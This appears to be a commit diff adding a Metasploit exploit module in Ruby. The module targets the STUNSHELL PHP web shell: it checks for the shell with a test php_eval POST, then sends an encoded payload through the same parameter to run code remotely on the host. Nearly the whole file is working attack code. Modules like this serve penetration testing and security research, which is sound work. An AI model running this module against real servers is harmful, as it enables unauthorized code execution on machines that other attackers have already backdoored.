|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = GreatRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'STUNSHELL Web Shell Remote Code Execution(PHP eval)', |
| 18 | + 'Description' => %q{ |
| 19 | + his module exploits unauthenticated versions of the "STUNSHELL" web shell. This |
| 20 | + module works when safe mode is enabled on the web server. This shell is widely |
| 21 | + used in automated RFI payloads. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'], |
| 31 | + ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'] |
| 32 | + ], |
| 33 | + 'Privileged' => false, |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Keys' => ['php'], |
| 37 | + 'Space' => 10000, |
| 38 | + 'DisableNops' => true, |
| 39 | + }, |
| 40 | + 'Platform' => ['php'], |
| 41 | + 'Arch' => ARCH_PHP, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + ['stunshell / Unix', { 'Platform' => 'unix' } ], |
| 45 | + ['stunshell / Windows', { 'Platform' => 'win' } ] |
| 46 | + ], |
| 47 | + 'DisclosureDate' => 'Mar 23 2013', |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]), |
| 53 | + ],self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + uri = normalize_uri(target_uri.path.to_s) |
| 58 | + request_parameters = { |
| 59 | + 'method' => 'POST', |
| 60 | + 'uri' => uri, |
| 61 | + 'vars_post' => |
| 62 | + { |
| 63 | + 'cmd' => "php_eval", |
| 64 | + 'php_eval' => "print 'andalas_oku test parameter';" |
| 65 | + } |
| 66 | + } |
| 67 | + shell = send_request_cgi(request_parameters) |
| 68 | + if (shell and shell.body =~ /andalas_oku test parameter/) |
| 69 | + return Exploit::CheckCode::Vulnerable |
| 70 | + end |
| 71 | + return Exploit::CheckCode::Safe |
| 72 | + end |
| 73 | + |
| 74 | + def http_send_command(cmd) |
| 75 | + uri = normalize_uri(target_uri.path.to_s) |
| 76 | + request_parameters = { |
| 77 | + 'method' => 'POST', |
| 78 | + 'uri' => uri, |
| 79 | + 'vars_post' => |
| 80 | + { |
| 81 | + 'cmd' => "php_eval", |
| 82 | + "php_eval" => cmd |
| 83 | + } |
| 84 | + } |
| 85 | + res = send_request_cgi(request_parameters) |
| 86 | + end |
| 87 | + |
| 88 | + def exploit |
| 89 | + http_send_command(payload.encoded) |
| 90 | + end |
| 91 | +end |
0 commit comments